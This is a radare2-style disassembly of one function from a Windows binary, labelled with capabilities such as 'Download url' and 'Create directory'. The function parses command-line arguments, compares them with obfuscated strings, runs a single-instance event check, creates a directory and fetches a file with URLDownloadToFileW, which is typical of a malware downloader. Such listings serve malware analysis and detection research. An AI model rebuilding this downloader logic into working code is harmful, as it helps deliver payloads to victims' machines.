Function at 0x4089b0
Capabilities:
Accept command line arguments
Create directory
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x78
lea ecx, [esp + 0x60]
push ebx
push ebp
push esi
push edi
push 0x4551e8
call fcn.00403210
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
call fcn.00401620
test eax, eax
je 0x4092ca
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.Y0ZnQawIzgEwQ8PMxcPdAjICSGQ
mov dword [esp + 0x18], eax
call fcn.004038c0
test al, al
jne 0x408a1c
push 0x1d
push str.Y0ZnQawIzgEwQ8PMxcPdAjICSGQ
lea ecx, [esp + 0x1c]
call fcn.00403de0
mov eax, dword [esp + 0x4c]
or ebp, 0xffffffff
cmp eax, 2
jl 0x408afe
cmp eax, 3
jge 0x408afe
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4092ca
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x18]
push str.QXBakUW4Z
mov dword [esp + 0x1c], eax
call fcn.004038c0
test al, al
jne 0x408a72
push 9
push str.QXBakUW4Z
lea ecx, [esp + 0x20]
call fcn.00403de0
mov ebx, dword [esp + 0x18]
mov edi, dword [edi + 4]
add ebx, 0xfffffff0
push ecx
mov ecx, ebx
mov esi, esp
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
mov eax, dword [eax]
lea esp, [esp]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x408ac6
test cx, cx
je 0x408ac2
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x408ac6
add eax, 4
add edi, 4
test cx, cx
jne 0x408aa0
xor esi, esi
jmp 0x408acb
sbb esi, esi
or esi, 1
mov edx, dword [esp + 0x38]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408ae6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, ebp
lock xadd dword [ebx + 0xc], eax
dec eax
test esi, esi
je 0x408b5c
test eax, eax
jg 0x408afe
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
or esi, 0xffffffff
mov edx, dword [esp + 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebp
dec ebp
test ebp, ebp
jg 0x408b1a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esp + 0x84]
cmp ecx, 8
jb 0x4092be
mov edx, dword [esp + 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4092b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4092d4
jmp 0x4092b4
test eax, eax
jg 0x408b68
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
push str.RmVJpRwoKWKiYq7ORkElBxU5pFDIKPOyITQFS0mnMgA7
lea ecx, [esp + 0x2c]
call fcn.004030e0
push ecx
mov ecx, dword [esp + 0x2c]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push dword [eax]
push 1
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edx, dword [esp + 0x38]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebp
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x408bc2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x408bcd
xor esi, esi
jmp 0x409290
push ecx
mov ecx, dword [esp + 0x2c]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push dword [eax]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, dword [esp + 0x38]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408c16
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.ejJMIQi9hVCRAqXYAME5M34J
lea ecx, [esp + 0x4c]
call fcn.004030e0
push str.RExWQSRgcpFQg0KPAU9fKz4zWFQAtMIigYlOSYtxJTgz
lea ecx, [esp + 0x48]
call fcn.004030e0
push ecx
mov ecx, dword [esp + 0x4c]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push dword [eax]
call fcn.0042e0e6
mov edx, eax
add esp, 4
test edx, edx
jne 0x408c66
xor ecx, ecx
jmp 0x408c7f
mov ecx, edx
lea esi, [ecx + 2]
jmp 0x408c70
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408c70
sub ecx, esi
sar ecx, 1
push ecx
push edx
mov ecx, 0x45dba8
call fcn.00403de0
mov edx, dword [esp + 0x38]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408ca6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov ecx, dword [esp + 0x48]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
mov ecx, 0x45dba8
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.0040ae70
mov edx, dword [esp + 0x38]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408cf1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov ecx, dword [0x45dba8]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov dword [esi], eax
call fcn.004087f0
add esp, 4
push 0
push dword [0x45dba8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.00405e30
push str.QzdIYVBVSMOicqbWCY
lea ecx, [esp + 0x28]
call fcn.004030e0
push ecx
mov edi, esp
push ecx
mov ecx, dword [0x45dba4]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
mov edi, esp
push ecx
mov ecx, dword [esp + 0x30]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
add esp, 4
lea ecx, [esp + 0x40]
mov edx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.004063b0
add esp, 8
mov ecx, 0x45dba0
push eax
call fcn.0040a5d0
mov edx, dword [esp + 0x38]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408da7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x45dba0]
cmp dword [eax - 0xc], 0
jne 0x408e17
push ecx
mov edi, esp
push ecx
mov ecx, dword [0x45dba4]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
mov edi, esp
push ecx
mov ecx, dword [esp + 0x30]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
add esp, 4
lea ecx, [esp + 0x40]
mov edx, SysReAllocString
call fcn.004063b0
add esp, 8
mov ecx, 0x45dba0
push eax
call fcn.0040a5d0
lea ecx, [esp + 0x38]
call fcn.00402fe0
push str.dEg1fYQc8cVBMA
lea ecx, [esp + 0x44]
call fcn.004030e0
push ecx
mov ecx, esp
push 0x453c03
call fcn.00403000
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x4c]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
mov ebx, dword [esp + 0x20]
mov edi, esp
push ecx
add ebx, 0xfffffff0
mov esi, esp
mov ecx, ebx
mov dword [esp + 0x64], ebx
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
add esp, 4
call fcn.00407260
add esp, 0xc
lea ecx, [esp + 0x70]
call fcn.004064f0
test al, al
jne 0x4091ab
cmp dword [0x45d990], 0
je 0x409121
push 0x455374
lea ecx, [esp + 0x24]
call fcn.004030e0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x3c]
call fcn.00405cf0
add esp, 4
lea ecx, [esp + 0x20]
call fcn.00402fe0
push str.OXg5YRFEMyTTRK2QhZrEXhdWaI1Ud3FydW4FQ
lea ecx, [esp + 0x38]
call fcn.004030e0
push ecx
mov ecx, dword [esp + 0x38]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x34]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push 0
push 0
push dword [esp + 0x40]
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea ecx, [esp + 0x30]
mov esi, eax
call fcn.00402fe0
test esi, esi
jne 0x4090a5
lea ecx, [esp + 0x20]
call fcn.00403180
lea ecx, [esp + 0x1c]
call fcn.00403180
lea edx, [esp + 0x20]
lea ecx, [esp + 0x1c]
call fcn.00407aa0
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x20]
cmp dword [esi - 0xc], 0
je 0x408fc3
cmp dword [edi - 0xc], 0
je 0x408fc3
mov eax, dword [0x45dba0]
mov ecx, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x408f77
test dx, dx
je 0x408f73
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x408f77
add eax, 4
add ecx, 4
test dx, dx
jne 0x408f51
xor eax, eax
jmp 0x408f7c
sbb eax, eax
or eax, 1
shr eax, 0x1f
test al, al
je 0x409096
push edi
lea ecx, [esp + 0x5c]
call fcn.00403210
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00403210
lea ecx, [esp + 0x70]
call fcn.00407ef0
add esp, 0x18
lea ecx, [esp + 0x58]
call fcn.004031b0
lea ecx, [esp + 0x1c]
call fcn.00402fe0
lea ecx, [esp + 0x20]
jmp 0x409105
lea ecx, [esp + 0x18]
call fcn.00403180
push str.U0VWjQz8kXJTcMuM2tmvJDZwEJz8aPOi04yeHM0ZIA
lea ecx, [esp + 0x34]
call fcn.004030e0
push str.ZnRnyeQMZcFw0fFKw4X5FQAVkDAUAhDhYIUBw
lea ecx, [esp + 0x30]
call fcn.004030e0
push ecx
mov ecx, dword [esp + 0x34]
mov ebx, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
lea ecx, [esp + 0x54]
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
push edi
push esi
push dword [eax]
lea eax, [esp + 0x24]
push eax
call fcn.0040b360
add esp, 0x10
lea ecx, [esp + 0x50]
call fcn.00402fe0
push ecx
mov ecx, dword [esp + 0x1c]
mov esi, esp
add ecx, 0xfffffff0
call fcn.0040afe0
push ecx
add eax, 0x10
mov edi, esp
push ecx
mov dword [esi], eax
mov esi, esp
mov ecx, dword [esp + 0x38]
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
mov ebx, dword [esp + 0x60]
mov edi, esp
push ecx
mov ecx, ebx
mov esi, esp
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
add esp, 4
call fcn.00407260
add esp, 0xc
lea ecx, [esp + 0x2c]
call fcn.00402fe0
lea ecx, [esp + 0x30]
call fcn.00402fe0
lea ecx, [esp + 0x18]
call fcn.00402fe0
lea ecx, [esp + 0x1c]
call fcn.00402fe0
lea ecx, [esp + 0x20]
jmp 0x409105
push str.Y0pjEWg0lXPDMNuPgYovDS8XLBQAlJDTQGfKRcz5DCQ
lea ecx, [esp + 0x34]
call fcn.004030e0
push ecx
mov ecx, esp
push 0x453c2a
call fcn.00403000
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x3c]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
mov edi, esp
push ecx
mov ecx, ebx
mov esi, esp
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
add esp, 4
call fcn.00407260
add esp, 0xc
lea ecx, [esp + 0x30]
call fcn.00402fe0
lea ecx, [esp + 0x34]
call fcn.00402fe0
lea ecx, [esp + 0x38]
call fcn.00402fe0
jmp 0x4091ab
xor eax, eax
mov dword [esp + 0x6c], 7
mov dword [esp + 0x58], eax
lea ecx, [esp + 0x58]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov word [esp + 0x58], ax
call fcn.00406c20
test al, al
je 0x40916f
sub esp, 0x18
lea eax, [esp + 0x88]
mov ecx, esp
push eax
call fcn.004032d0
lea ecx, [esp + 0x70]
call fcn.00407ef0
add esp, 0x18
mov ecx, dword [esp + 0x6c]
cmp ecx, 8
jb 0x4091ab
mov edx, dword [esp + 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4091a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4092d9
push ecx
push edx
call fcn.00423d09
add esp, 8
push str.Sm1HBRi8DiIw
lea ecx, [esp + 0x40]
call fcn.004030e0
push ecx
mov ecx, esp
push 0x453c2b
call fcn.00403000
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x48]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
mov edi, esp
push ecx
mov ecx, ebx
mov esi, esp
call fcn.0040afe0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004023d0
add esp, 4
call fcn.00407260
mov edx, dword [esp + 0x48]
add esp, 0xc
xor esi, esi
add edx, 0xfffffff0
mov eax, ebp
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409224
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x40]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40923f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x24]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40925a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x44]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409275
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x48]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409290
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x28]
mov eax, ebp
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408b01
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x408b01
push ecx
push edx
call fcn.00423d09
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x80004005
call fcn.004013f0
call fcn.004288c3
call fcn.004288c3
int3